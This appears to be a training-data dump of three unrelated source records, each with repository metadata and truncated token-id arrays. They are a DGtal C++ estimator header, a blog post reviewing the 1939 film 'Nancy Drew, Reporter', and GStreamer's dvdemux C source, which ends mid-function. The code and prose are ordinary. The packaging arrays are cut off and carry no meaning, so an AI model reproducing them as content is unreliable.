TrueLocalEstimatorOnPoints_RECURSES #if !defined TrueLocalEstimatorOnPoints_h /** Prevents repeated inclusion of headers. */ #define TrueLocalEstimatorOnPoints_h ////////////////////////////////////////////////////////////////////////////// // Inclusions #include <iostream> #include "DGtal/base/Common.h" ////////////////////////////////////////////////////////////////////////////// namespace DGtal { ///////////////////////////////////////////////////////////////////////////// // template class TrueLocalEstimatorOnPoints /** * Description of template class 'TrueLocalEstimatorOnPoints' <p> * \brief Aim: Computes the true quantity to each element of a range associated to * a parametric shape. * * @tparam TConstIteratorOnPoints type of iterator on points used as * query points. * @tparam TParametricShape type of the parametric shape. * @tparam TParametricShapeFunctor type of Functor used to evaluate * the quantity. */ template <typename TConstIteratorOnPoints, typename TParametricShape, typename TParametricShapeFunctor> class TrueLocalEstimatorOnPoints { // ----------------------- Types ------------------------------ public: typedef TConstIteratorOnPoints ConstIterator; typedef TParametricShape ParametricShape; typedef typename TParametricShape::RealPoint RealPoint; typedef TParametricShapeFunctor ParametricShapeFunctor; typedef typename ParametricShapeFunctor::Quantity Quantity; // ----------------------- Standard services ------------------------------ public: /** * Default constructor. */ TrueLocalEstimatorOnPoints(); /** * Destructor. */ ~TrueLocalEstimatorOnPoints(); // ----------------------- Interface -------------------------------------- public: /** * Initialisation. * @param h grid size (must be >0). * @param itb begin iterator * @param ite end iterator */ void init(const double h, const ConstIterator& itb, const ConstIterator& ite); /** * Attach a shape * @param aShapePtr parametric shape */ void attach(ParametricShape* aShapePtr); /** * Estimation at *it * @return the estimated quantity at *it */ Quantity eval(const ConstIterator& it) const; /** * Estimation at each element of [@e itb , @e ite ) * @param itb begin iterator * @param ite end iterator * @return the estimated quantity * from itb till ite (excluded) */ template <typename OutputIterator> OutputIterator eval(const ConstIterator& itb, const ConstIterator& ite, OutputIterator result) const; /** * Checks the validity/consistency of the object. * @return 'true' if the object is valid, 'false' otherwise. */ bool isValid() const; // ------------------------- Protected Datas ------------------------------ protected: // ------------------------- Private Datas -------------------------------- private: ///Grid size double myH; ///Copy of the begin iterator ConstIterator myBegin; ///Copy of the end iterator ConstIterator myEnd; ///Owning pointer on a parametric shape functor ParametricShapeFunctor* myFunctorPtr; // ------------------------- Hidden services ------------------------------ private: /** * Copy constructor. * @param other the object to clone. * Forbidden by default. */ TrueLocalEstimatorOnPoints ( const TrueLocalEstimatorOnPoints & other ); /** * Assignment. * @param other the object to copy. * @return a reference on 'this'. * Forbidden by default. */ TrueLocalEstimatorOnPoints & operator= ( const TrueLocalEstimatorOnPoints & other ); }; // end of class TrueLocalEstimatorOnPoints } // namespace DGtal /////////////////////////////////////////////////////////////////////////////// // Includes inline functions. #include "DGtal/geometry/curves/estimation/TrueLocalEstimatorOnPoints.ih" // // /////////////////////////////////////////////////////////////////////////////// #endif // !defined TrueLocalEstimatorOnPoints_h #undef TrueLocalEstimatorOnPoints_RECURSES #endif // else defined(TrueLocalEstimatorOnPoints_RECURSES)
kerautret/DGtal0.6-ForIPOL
src/DGtal/geometry/curves/estimation/TrueLocalEstimatorOnPoints.h
C
lgpl-3.0
5,868
[ 30522, 1013, 1008, 1008, 1008, 2023, 2565, 2003, 2489, 4007, 1024, 2017, 2064, 2417, 2923, 3089, 8569, 2618, 2009, 1998, 1013, 2030, 19933, 1008, 2009, 2104, 1996, 3408, 1997, 1996, 27004, 8276, 2236, 2270, 6105, 2004, 1008, 2405, 2011, 1...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
--- layout: post category: post published: true title: Feature Film Friday - Nancy Drew Reporter --- It's friday! That means it's time for movies! At least that's what it means this week, who knows if that's what it will mean next week! Today's movie is called _Nancy Drew, Reporter_. It was released in 1939, and it's a fun, rollicking romp. ![nancyuntitled.jpg]({{site.baseurl}}/images/nancyuntitled.jpg) The film is based on the character Nancy Drew, from the series of detective novels. I loved Nancy Drew novels as a kid, and I was over the moon with most of this screen incarnation of the character. I could have done without the musical number, but it was the 30s. You couldn't have a family film without a musical number. Reading Nancy Drew books as a kid, it seemed perfectly natural for a young woman in the 30s to have her own car, and to be investigating murders. Watching it play out on screen it seems a little less natural, but no less fun. My favorite part of this film was when the sidekick and the police officer played Rummy for pennies. I used to do the same thing with my grandmother, after reading Nancy Drew novels. Another thing about this film that I really enjoyed were the cars! They are all running bords and rumble seats and slick tires, which is neat. Watch it here: <iframe src="https://archive.org/embed/nancy_drew_reporter" width="640" height="480" frameborder="0" webkitallowfullscreen="true" mozallowfullscreen="true" allowfullscreen></iframe>
ajroach42/ajroach42.github.io
_posts/2018-08-24-feature-film-friday-nancy-drew-reporter.md
Markdown
mit
1,488
[ 30522, 1011, 1011, 1011, 9621, 1024, 2695, 4696, 1024, 2695, 2405, 1024, 2995, 2516, 1024, 3444, 2143, 5958, 1011, 7912, 3881, 6398, 1011, 1011, 1011, 2009, 1005, 1055, 5958, 999, 2008, 2965, 2009, 1005, 1055, 2051, 2005, 5691, 999, 2012,...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
/* GStreamer * Copyright (C) <1999> Erik Walthinsen <omega@cse.ogi.edu> * <2005> Wim Taymans <wim@fluendo.com> * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Library General Public * License as published by the Free Software Foundation; either * version 2 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Library General Public License for more details. * * You should have received a copy of the GNU Library General Public * License along with this library; if not, write to the * Free Software Foundation, Inc., 59 Temple Place - Suite 330, * Boston, MA 02111-1307, USA. */ #ifdef HAVE_CONFIG_H #include "config.h" #endif #include <string.h> #include <math.h> #include <gst/audio/audio.h> #include "gstdvdemux.h" #include "gstsmptetimecode.h" /** * SECTION:element-dvdemux * * dvdemux splits raw DV into its audio and video components. The audio will be * decoded raw samples and the video will be encoded DV video. * * This element can operate in both push and pull mode depending on the * capabilities of the upstream peer. * * <refsect2> * <title>Example launch line</title> * |[ * gst-launch filesrc location=test.dv ! dvdemux name=demux ! queue ! audioconvert ! alsasink demux. ! queue ! dvdec ! xvimagesink * ]| This pipeline decodes and renders the raw DV stream to an audio and a videosink. * </refsect2> * * Last reviewed on 2006-02-27 (0.10.3) */ /* DV output has two modes, normal and wide. The resolution is the same in both * cases: 720 pixels wide by 576 pixels tall in PAL format, and 720x480 for * NTSC. * * Each of the modes has its own pixel aspect ratio, which is fixed in practice * by ITU-R BT.601 (also known as "CCIR-601" or "Rec.601"). Or so claims a * reference that I culled from the reliable "internet", * http://www.mir.com/DMG/aspect.html. Normal PAL is 59/54 and normal NTSC is * 10/11. Because the pixel resolution is the same for both cases, we can get * the pixel aspect ratio for wide recordings by multiplying by the ratio of * display aspect ratios, 16/9 (for wide) divided by 4/3 (for normal): * * Wide NTSC: 10/11 * (16/9)/(4/3) = 40/33 * Wide PAL: 59/54 * (16/9)/(4/3) = 118/81 * * However, the pixel resolution coming out of a DV source does not combine with * the standard pixel aspect ratios to give a proper display aspect ratio. An * image 480 pixels tall, with a 4:3 display aspect ratio, will be 768 pixels * wide. But, if we take the normal PAL aspect ratio of 59/54, and multiply it * with the width of the DV image (720 pixels), we get 786.666..., which is * nonintegral and too wide. The camera is not outputting a 4:3 image. * * If the video sink for this stream has fixed dimensions (such as for * fullscreen playback, or for a java applet in a web page), you then have two * choices. Either you show the whole image, but pad the image with black * borders on the top and bottom (like watching a widescreen video on a 4:3 * device), or you crop the video to the proper ratio. Apparently the latter is * the standard practice. * * For its part, GStreamer is concerned with accuracy and preservation of * information. This element outputs the 720x576 or 720x480 video that it * recieves, noting the proper aspect ratio. This should not be a problem for * windowed applications, which can change size to fit the video. Applications * with fixed size requirements should decide whether to crop or pad which * an element such as videobox can do. */ #define NTSC_HEIGHT 480 #define NTSC_BUFFER 120000 #define NTSC_FRAMERATE_NUMERATOR 30000 #define NTSC_FRAMERATE_DENOMINATOR 1001 #define PAL_HEIGHT 576 #define PAL_BUFFER 144000 #define PAL_FRAMERATE_NUMERATOR 25 #define PAL_FRAMERATE_DENOMINATOR 1 #define PAL_NORMAL_PAR_X 59 #define PAL_NORMAL_PAR_Y 54 #define PAL_WIDE_PAR_X 118 #define PAL_WIDE_PAR_Y 81 #define NTSC_NORMAL_PAR_X 10 #define NTSC_NORMAL_PAR_Y 11 #define NTSC_WIDE_PAR_X 40 #define NTSC_WIDE_PAR_Y 33 GST_DEBUG_CATEGORY_STATIC (dvdemux_debug); #define GST_CAT_DEFAULT dvdemux_debug static GstStaticPadTemplate sink_temp = GST_STATIC_PAD_TEMPLATE ("sink", GST_PAD_SINK, GST_PAD_ALWAYS, GST_STATIC_CAPS ("video/x-dv, systemstream = (boolean) true") ); static GstStaticPadTemplate video_src_temp = GST_STATIC_PAD_TEMPLATE ("video", GST_PAD_SRC, GST_PAD_SOMETIMES, GST_STATIC_CAPS ("video/x-dv, systemstream = (boolean) false") ); static GstStaticPadTemplate audio_src_temp = GST_STATIC_PAD_TEMPLATE ("audio", GST_PAD_SRC, GST_PAD_SOMETIMES, GST_STATIC_CAPS ("audio/x-raw-int, " "depth = (int) 16, " "width = (int) 16, " "signed = (boolean) TRUE, " "channels = (int) {2, 4}, " "endianness = (int) " G_STRINGIFY (G_BYTE_ORDER) ", " "rate = (int) { 32000, 44100, 48000 }") ); GST_BOILERPLATE (GstDVDemux, gst_dvdemux, GstElement, GST_TYPE_ELEMENT); static void gst_dvdemux_finalize (GObject * object); /* query functions */ static const GstQueryType *gst_dvdemux_get_src_query_types (GstPad * pad); static gboolean gst_dvdemux_src_query (GstPad * pad, GstQuery * query); static const GstQueryType *gst_dvdemux_get_sink_query_types (GstPad * pad); static gboolean gst_dvdemux_sink_query (GstPad * pad, GstQuery * query); /* convert functions */ static gboolean gst_dvdemux_sink_convert (GstDVDemux * demux, GstFormat src_format, gint64 src_value, GstFormat * dest_format, gint64 * dest_value); static gboolean gst_dvdemux_src_convert (GstDVDemux * demux, GstPad * pad, GstFormat src_format, gint64 src_value, GstFormat * dest_format, gint64 * dest_value); /* event functions */ static gboolean gst_dvdemux_send_event (GstElement * element, GstEvent * event); static gboolean gst_dvdemux_handle_src_event (GstPad * pad, GstEvent * event); static gboolean gst_dvdemux_handle_sink_event (GstPad * pad, GstEvent * event); /* scheduling functions */ static void gst_dvdemux_loop (GstPad * pad); static GstFlowReturn gst_dvdemux_flush (GstDVDemux * dvdemux); static GstFlowReturn gst_dvdemux_chain (GstPad * pad, GstBuffer * buffer); /* state change functions */ static gboolean gst_dvdemux_sink_activate (GstPad * sinkpad); static gboolean gst_dvdemux_sink_activate_push (GstPad * sinkpad, gboolean active); static gboolean gst_dvdemux_sink_activate_pull (GstPad * sinkpad, gboolean active); static GstStateChangeReturn gst_dvdemux_change_state (GstElement * element, GstStateChange transition); static void gst_dvdemux_base_init (gpointer g_class) { GstElementClass *element_class = GST_ELEMENT_CLASS (g_class); gst_element_class_add_pad_template (element_class, gst_static_pad_template_get (&sink_temp)); gst_element_class_add_pad_template (element_class, gst_static_pad_template_get (&video_src_temp)); gst_element_class_add_pad_template (element_class, gst_static_pad_template_get (&audio_src_temp)); gst_element_class_set_details_simple (element_class, "DV system stream demuxer", "Codec/Demuxer", "Uses libdv to separate DV audio from DV video (libdv.sourceforge.net)", "Erik Walthinsen <omega@cse.ogi.edu>, Wim Taymans <wim@fluendo.com>"); GST_DEBUG_CATEGORY_INIT (dvdemux_debug, "dvdemux", 0, "DV demuxer element"); } static void gst_dvdemux_class_init (GstDVDemuxClass * klass) { GObjectClass *gobject_class; GstElementClass *gstelement_class; gobject_class = (GObjectClass *) klass; gstelement_class = (GstElementClass *) klass; gobject_class->finalize = gst_dvdemux_finalize; gstelement_class->change_state = GST_DEBUG_FUNCPTR (gst_dvdemux_change_state); gstelement_class->send_event = GST_DEBUG_FUNCPTR (gst_dvdemux_send_event); } static void gst_dvdemux_init (GstDVDemux * dvdemux, GstDVDemuxClass * g_class) { gint i; dvdemux->sinkpad = gst_pad_new_from_static_template (&sink_temp, "sink"); /* we can operate in pull and push mode so we install * a custom activate function */ gst_pad_set_activate_function (dvdemux->sinkpad, GST_DEBUG_FUNCPTR (gst_dvdemux_sink_activate)); /* the function to activate in push mode */ gst_pad_set_activatepush_function (dvdemux->sinkpad, GST_DEBUG_FUNCPTR (gst_dvdemux_sink_activate_push)); /* the function to activate in pull mode */ gst_pad_set_activatepull_function (dvdemux->sinkpad, GST_DEBUG_FUNCPTR (gst_dvdemux_sink_activate_pull)); /* for push mode, this is the chain function */ gst_pad_set_chain_function (dvdemux->sinkpad, GST_DEBUG_FUNCPTR (gst_dvdemux_chain)); /* handling events (in push mode only) */ gst_pad_set_event_function (dvdemux->sinkpad, GST_DEBUG_FUNCPTR (gst_dvdemux_handle_sink_event)); /* query functions */ gst_pad_set_query_function (dvdemux->sinkpad, GST_DEBUG_FUNCPTR (gst_dvdemux_sink_query)); gst_pad_set_query_type_function (dvdemux->sinkpad, GST_DEBUG_FUNCPTR (gst_dvdemux_get_sink_query_types)); /* now add the pad */ gst_element_add_pad (GST_ELEMENT (dvdemux), dvdemux->sinkpad); dvdemux->adapter = gst_adapter_new (); /* we need 4 temp buffers for audio decoding which are of a static * size and which we can allocate here */ for (i = 0; i < 4; i++) { dvdemux->audio_buffers[i] = (gint16 *) g_malloc (DV_AUDIO_MAX_SAMPLES * sizeof (gint16)); } } static void gst_dvdemux_finalize (GObject * object) { GstDVDemux *dvdemux; gint i; dvdemux = GST_DVDEMUX (object); g_object_unref (dvdemux->adapter); /* clean up temp audio buffers */ for (i = 0; i < 4; i++) { g_free (dvdemux->audio_buffers[i]); } G_OBJECT_CLASS (parent_class)->finalize (object); } /* reset to default values before starting streaming */ static void gst_dvdemux_reset (GstDVDemux * dvdemux) { dvdemux->frame_offset = 0; dvdemux->audio_offset = 0; dvdemux->video_offset = 0; dvdemux->framecount = 0; g_atomic_int_set (&dvdemux->found_header, 0); dvdemux->frame_len = -1; dvdemux->need_segment = FALSE; dvdemux->new_media = FALSE; dvdemux->framerate_numerator = 0; dvdemux->framerate_denominator = 0; dvdemux->height = 0; dvdemux->frequency = 0; dvdemux->channels = 0; dvdemux->wide = FALSE; gst_segment_init (&dvdemux->byte_segment, GST_FORMAT_BYTES); gst_segment_init (&dvdemux->time_segment, GST_FORMAT_TIME); } static GstPad * gst_dvdemux_add_pad (GstDVDemux * dvdemux, GstStaticPadTemplate * template) { gboolean no_more_pads; GstPad *pad; pad = gst_pad_new_from_static_template (template, template->name_template); gst_pad_set_query_function (pad, GST_DEBUG_FUNCPTR (gst_dvdemux_src_query)); gst_pad_set_query_type_function (pad, GST_DEBUG_FUNCPTR (gst_dvdemux_get_src_query_types)); gst_pad_set_event_function (pad, GST_DEBUG_FUNCPTR (gst_dvdemux_handle_src_event)); gst_pad_use_fixed_caps (pad); gst_pad_set_active (pad, TRUE); gst_element_add_pad (GST_ELEMENT (dvdemux), pad); no_more_pads = (dvdemux->videosrcpad != NULL && template == &audio_src_temp) || (dvdemux->audiosrcpad != NULL && template == &video_src_temp); if (no_more_pads) gst_element_no_more_pads (GST_ELEMENT (dvdemux)); gst_pad_push_event (pad, gst_event_new_new_segment (FALSE, dvdemux->byte_segment.rate, GST_FORMAT_TIME, dvdemux->time_segment.start, dvdemux->time_segment.stop, dvdemux->time_segment.start)); if (no_more_pads) { gst_element_found_tags (GST_ELEMENT (dvdemux), gst_tag_list_new_full (GST_TAG_CONTAINER_FORMAT, "DV", NULL)); } return pad; } static void gst_dvdemux_remove_pads (GstDVDemux * dvdemux) { if (dvdemux->videosrcpad) { gst_element_remove_pad (GST_ELEMENT (dvdemux), dvdemux->videosrcpad); dvdemux->videosrcpad = NULL; } if (dvdemux->audiosrcpad) { gst_element_remove_pad (GST_ELEMENT (dvdemux), dvdemux->audiosrcpad); dvdemux->audiosrcpad = NULL; } } static gboolean gst_dvdemux_src_convert (GstDVDemux * dvdemux, GstPad * pad, GstFormat src_format, gint64 src_value, GstFormat * dest_format, gint64 * dest_value) { gboolean res = TRUE; if (*dest_format == src_format || src_value == -1) { *dest_value = src_value; goto done; } if (dvdemux->frame_len <= 0) goto error; if (dvdemux->decoder == NULL) goto error; GST_INFO_OBJECT (pad, "src_value:%" G_GINT64_FORMAT ", src_format:%d, dest_format:%d", src_value, src_format, *dest_format); switch (src_format) { case GST_FORMAT_BYTES: switch (*dest_format) { case GST_FORMAT_DEFAULT: if (pad == dvdemux->videosrcpad) *dest_value = src_value / dvdemux->frame_len; else if (pad == dvdemux->audiosrcpad) *dest_value = src_value / (2 * dvdemux->channels); break; case GST_FORMAT_TIME: *dest_format = GST_FORMAT_TIME; if (pad == dvdemux->videosrcpad) *dest_value = gst_util_uint64_scale (src_value, GST_SECOND * dvdemux->framerate_denominator, dvdemux->frame_len * dvdemux->framerate_numerator); else if (pad == dvdemux->audiosrcpad) *dest_value = gst_util_uint64_scale_int (src_value, GST_SECOND, 2 * dvdemux->frequency * dvdemux->channels); break; default: res = FALSE; } break; case GST_FORMAT_TIME: switch (*dest_format) { case GST_FORMAT_BYTES: if (pad == dvdemux->videosrcpad) *dest_value = gst_util_uint64_scale (src_value, dvdemux->frame_len * dvdemux->framerate_numerator, dvdemux->framerate_denominator * GST_SECOND); else if (pad == dvdemux->audiosrcpad) *dest_value = gst_util_uint64_scale_int (src_value, 2 * dvdemux->frequency * dvdemux->channels, GST_SECOND); break; case GST_FORMAT_DEFAULT: if (pad == dvdemux->videosrcpad) { if (src_value) *dest_value = gst_util_uint64_scale (src_value, dvdemux->framerate_numerator, dvdemux->framerate_denominator * GST_SECOND); else *dest_value = 0; } else if (pad == dvdemux->audiosrcpad) { *dest_value = gst_util_uint64_scale (src_value, dvdemux->frequency, GST_SECOND); } break; default: res = FALSE; } break; case GST_FORMAT_DEFAULT: switch (*dest_format) { case GST_FORMAT_TIME: if (pad == dvdemux->videosrcpad) { *dest_value = gst_util_uint64_scale (src_value, GST_SECOND * dvdemux->framerate_denominator, dvdemux->framerate_numerator); } else if (pad == dvdemux->audiosrcpad) { if (src_value) *dest_value = gst_util_uint64_scale (src_value, GST_SECOND, dvdemux->frequency); else *dest_value = 0; } break; case GST_FORMAT_BYTES: if (pad == dvdemux->videosrcpad) { *dest_value = src_value * dvdemux->frame_len; } else if (pad == dvdemux->audiosrcpad) { *dest_value = src_value * 2 * dvdemux->channels; } break; default: res = FALSE; } break; default: res = FALSE; } done: GST_INFO_OBJECT (pad, "Result : dest_format:%d, dest_value:%" G_GINT64_FORMAT ", res:%d", *dest_format, *dest_value, res); return res; /* ERRORS */ error: { GST_INFO ("source conversion failed"); return FALSE; } } static gboolean gst_dvdemux_sink_convert (GstDVDemux * dvdemux, GstFormat src_format, gint64 src_value, GstFormat * dest_format, gint64 * dest_value) { gboolean res = TRUE; GST_DEBUG_OBJECT (dvdemux, "%d -> %d", src_format, *dest_format); GST_INFO_OBJECT (dvdemux, "src_value:%" G_GINT64_FORMAT ", src_format:%d, dest_format:%d", src_value, src_format, *dest_format); if (*dest_format == GST_FORMAT_DEFAULT) *dest_format = GST_FORMAT_TIME; if (*dest_format == src_format || src_value == -1) { *dest_value = src_value; goto done; } if (dvdemux->frame_len <= 0) goto error; switch (src_format) { case GST_FORMAT_BYTES: switch (*dest_format) { case GST_FORMAT_TIME: { guint64 frame; /* get frame number, rounds down so don't combine this * line and the next line. */ frame = src_value / dvdemux->frame_len; *dest_value = gst_util_uint64_scale (frame, GST_SECOND * dvdemux->framerate_denominator, dvdemux->framerate_numerator); break; } default: res = FALSE; } break; case GST_FORMAT_TIME: switch (*dest_format) { case GST_FORMAT_BYTES: { guint64 frame; /* calculate the frame */ frame = gst_util_uint64_scale (src_value, dvdemux->framerate_numerator, dvdemux->framerate_denominator * GST_SECOND); /* calculate the offset from the rounded frame */ *dest_value = frame * dvdemux->frame_len; break; } default: res = FALSE; } break; default: res = FALSE; } GST_INFO_OBJECT (dvdemux, "Result : dest_format:%d, dest_value:%" G_GINT64_FORMAT ", res:%d", *dest_format, *dest_value, res); done: return res; error: { GST_INFO_OBJECT (dvdemux, "sink conversion failed"); return FALSE; } } static const GstQueryType * gst_dvdemux_get_src_query_types (GstPad * pad) { static const GstQueryType src_query_types[] = { GST_QUERY_POSITION, GST_QUERY_DURATION, GST_QUERY_CONVERT, 0 }; return src_query_types; } static gboolean gst_dvdemux_src_query (GstPad * pad, GstQuery * query) { gboolean res = TRUE; GstDVDemux *dvdemux; dvdemux = GST_DVDEMUX (gst_pad_get_parent (pad)); switch (GST_QUERY_TYPE (query)) { case GST_QUERY_POSITION: { GstFormat format; gint64 cur; /* get target format */ gst_query_parse_position (query, &format, NULL); /* bring the position to the requested format. */ if (!(res = gst_dvdemux_src_convert (dvdemux, pad, GST_FORMAT_TIME, dvdemux->time_segment.last_stop, &format, &cur))) goto error; gst_query_set_position (query, format, cur); break; } case GST_QUERY_DURATION: { GstFormat format; GstFormat format2; gint64 end; GstPad *peer; /* get target format */ gst_query_parse_duration (query, &format, NULL); /* change query to bytes to perform on peer */ gst_query_set_duration (query, GST_FORMAT_BYTES, -1); if ((peer = gst_pad_get_peer (dvdemux->sinkpad))) { /* ask peer for total length */ if (!(res = gst_pad_query (peer, query))) { gst_object_unref (peer); goto error; } /* get peer total length */ gst_query_parse_duration (query, NULL, &end); gst_object_unref (peer); /* convert end to requested format */ if (end != -1) { format2 = format; if (!(res = gst_dvdemux_sink_convert (dvdemux, GST_FORMAT_BYTES, end, &format2, &end))) { goto error; } } } else { end = -1; } gst_query_set_duration (query, format, end); break; } case GST_QUERY_CONVERT: { GstFormat src_fmt, dest_fmt; gint64 src_val, dest_val; gst_query_parse_convert (query, &src_fmt, &src_val, &dest_fmt, &dest_val); if (!(res = gst_dvdemux_src_convert (dvdemux, pad, src_fmt, src_val, &dest_fmt, &dest_val))) goto error; gst_query_set_convert (query, src_fmt, src_val, dest_fmt, dest_val); break; } default: res = gst_pad_query_default (pad, query); break; } gst_object_unref (dvdemux); return res; /* ERRORS */ error: { gst_object_unref (dvdemux); GST_DEBUG ("error source query"); return FALSE; } } static const GstQueryType * gst_dvdemux_get_sink_query_types (GstPad * pad) { static const GstQueryType sink_query_types[] = { GST_QUERY_CONVERT, 0 }; return sink_query_types; } static gboolean gst_dvdemux_sink_query (GstPad * pad, GstQuery * query) { gboolean res = TRUE; GstDVDemux *dvdemux; dvdemux = GST_DVDEMUX (gst_pad_get_parent (pad)); switch (GST_QUERY_TYPE (query)) { case GST_QUERY_CONVERT: { GstFormat src_fmt, dest_fmt; gint64 src_val, dest_val; gst_query_parse_convert (query, &src_fmt, &src_val, &dest_fmt, &dest_val); if (!(res = gst_dvdemux_sink_convert (dvdemux, src_fmt, src_val, &dest_fmt, &dest_val))) goto error; gst_query_set_convert (query, src_fmt, src_val, dest_fmt, dest_val); break; } default: res = gst_pad_query_default (pad, query); break; } gst_object_unref (dvdemux); return res; /* ERRORS */ error: { gst_object_unref (dvdemux); GST_DEBUG ("error handling sink query"); return FALSE; } } /* takes ownership of the event */ static gboolean gst_dvdemux_push_event (GstDVDemux * dvdemux, GstEvent * event) { gboolean res = FALSE; if (dvdemux->videosrcpad) { gst_event_ref (event); res |= gst_pad_push_event (dvdemux->videosrcpad, event); } if (dvdemux->audiosrcpad) res |= gst_pad_push_event (dvdemux->audiosrcpad, event); else gst_event_unref (event); return res; } static gboolean gst_dvdemux_handle_sink_event (GstPad * pad, GstEvent * event) { GstDVDemux *dvdemux = GST_DVDEMUX (gst_pad_get_parent (pad)); gboolean res = TRUE; switch (GST_EVENT_TYPE (event)) { case GST_EVENT_FLUSH_START: /* we are not blocking on anything exect the push() calls * to the peer which will be unblocked by forwarding the * event.*/ res = gst_dvdemux_push_event (dvdemux, event); break; case GST_EVENT_FLUSH_STOP: gst_adapter_clear (dvdemux->adapter); GST_DEBUG ("cleared adapter"); gst_segment_init (&dvdemux->byte_segment, GST_FORMAT_BYTES); gst_segment_init (&dvdemux->time_segment, GST_FORMAT_TIME); res = gst_dvdemux_push_event (dvdemux, event); break; case GST_EVENT_NEWSEGMENT: { gboolean update; gdouble rate; GstFormat format; gint64 start, stop, time; /* parse byte start and stop positions */ gst_event_parse_new_segment (event, &update, &rate, &format, &start, &stop, &time); switch (format) { case GST_FORMAT_BYTES: gst_segment_set_newsegment (&dvdemux->byte_segment, update, rate, format, start, stop, time); /* the update can always be sent */ if (update) { GstEvent *update; update = gst_event_new_new_segment (TRUE, dvdemux->time_segment.rate, dvdemux->time_segment.format, dvdemux->time_segment.start, dvdemux->time_segment.last_stop, dvdemux->time_segment.time); gst_dvdemux_push_event (dvdemux, update); } else { /* and queue a SEGMENT before sending the next set of buffers, we * cannot convert to time yet as we might not know the size of the * frames, etc.. */ dvdemux->need_segment = TRUE; } gst_event_unref (event); break; case GST_FORMAT_TIME: gst_segment_set_newsegment (&dvdemux->time_segment, update, rate, format, start, stop, time); /* and we can just forward this time event */ res = gst_dvdemux_push_event (dvdemux, event); break; default: gst_event_unref (event); /* cannot accept this format */ res = FALSE; break; } break; } case GST_EVENT_EOS: /* flush any pending data, should be nothing left. */ gst_dvdemux_flush (dvdemux); /* forward event */ res = gst_dvdemux_push_event (dvdemux, event); /* and clear the adapter */ gst_adapter_clear (dvdemux->adapter); break; default: res = gst_dvdemux_push_event (dvdemux, event); break; } gst_object_unref (dvdemux); return res; } /* convert a pair of values on the given srcpad */ static gboolean gst_dvdemux_convert_src_pair (GstDVDemux * dvdemux, GstPad * pad, GstFormat src_format, gint64 src_start, gint64 src_stop, GstFormat dst_format, gint64 * dst_start, gint64 * dst_stop) { gboolean res; GST_INFO ("starting conversion of start"); /* bring the format to time on srcpad. */ if (!(res = gst_dvdemux_src_convert (dvdemux, pad, src_format, src_start, &dst_format, dst_start))) { goto done; } GST_INFO ("Finished conversion of start: %" G_GINT64_FORMAT, *dst_start); GST_INFO ("starting conversion of stop"); /* bring the format to time on srcpad. */ if (!(res = gst_dvdemux_src_convert (dvdemux, pad, src_format, src_stop, &dst_format, dst_stop))) { /* could not convert seek format to time offset */ goto done; } GST_INFO ("Finished conversion of stop: %" G_GINT64_FORMAT, *dst_stop); done: return res; } /* convert a pair of values on the sinkpad */ static gboolean gst_dvdemux_convert_sink_pair (GstDVDemux * dvdemux, GstFormat src_format, gint64 src_start, gint64 src_stop, GstFormat dst_format, gint64 * dst_start, gint64 * dst_stop) { gboolean res; GST_INFO ("starting conversion of start"); /* bring the format to time on srcpad. */ if (!(res = gst_dvdemux_sink_convert (dvdemux, src_format, src_start, &dst_format, dst_start))) { goto done; } GST_INFO ("Finished conversion of start: %" G_GINT64_FORMAT, *dst_start); GST_INFO ("starting conversion of stop"); /* bring the format to time on srcpad. */ if (!(res = gst_dvdemux_sink_convert (dvdemux, src_format, src_stop, &dst_format, dst_stop))) { /* could not convert seek format to time offset */ goto done; } GST_INFO ("Finished conversion of stop: %" G_GINT64_FORMAT, *dst_stop); done: return res; } /* convert a pair of values on the srcpad to a pair of * values on the sinkpad */ static gboolean gst_dvdemux_convert_src_to_sink (GstDVDemux * dvdemux, GstPad * pad, GstFormat src_format, gint64 src_start, gint64 src_stop, GstFormat dst_format, gint64 * dst_start, gint64 * dst_stop) { GstFormat conv; gboolean res; conv = GST_FORMAT_TIME; /* convert to TIME intermediate format */ if (!(res = gst_dvdemux_convert_src_pair (dvdemux, pad, src_format, src_start, src_stop, conv, dst_start, dst_stop))) { /* could not convert format to time offset */ goto done; } /* convert to dst format on sinkpad */ if (!(res = gst_dvdemux_convert_sink_pair (dvdemux, conv, *dst_start, *dst_stop, dst_format, dst_start, dst_stop))) { /* could not convert format to time offset */ goto done; } done: return res; } #if 0 static gboolean gst_dvdemux_convert_segment (GstDVDemux * dvdemux, GstSegment * src, GstSegment * dest) { dest->rate = src->rate; 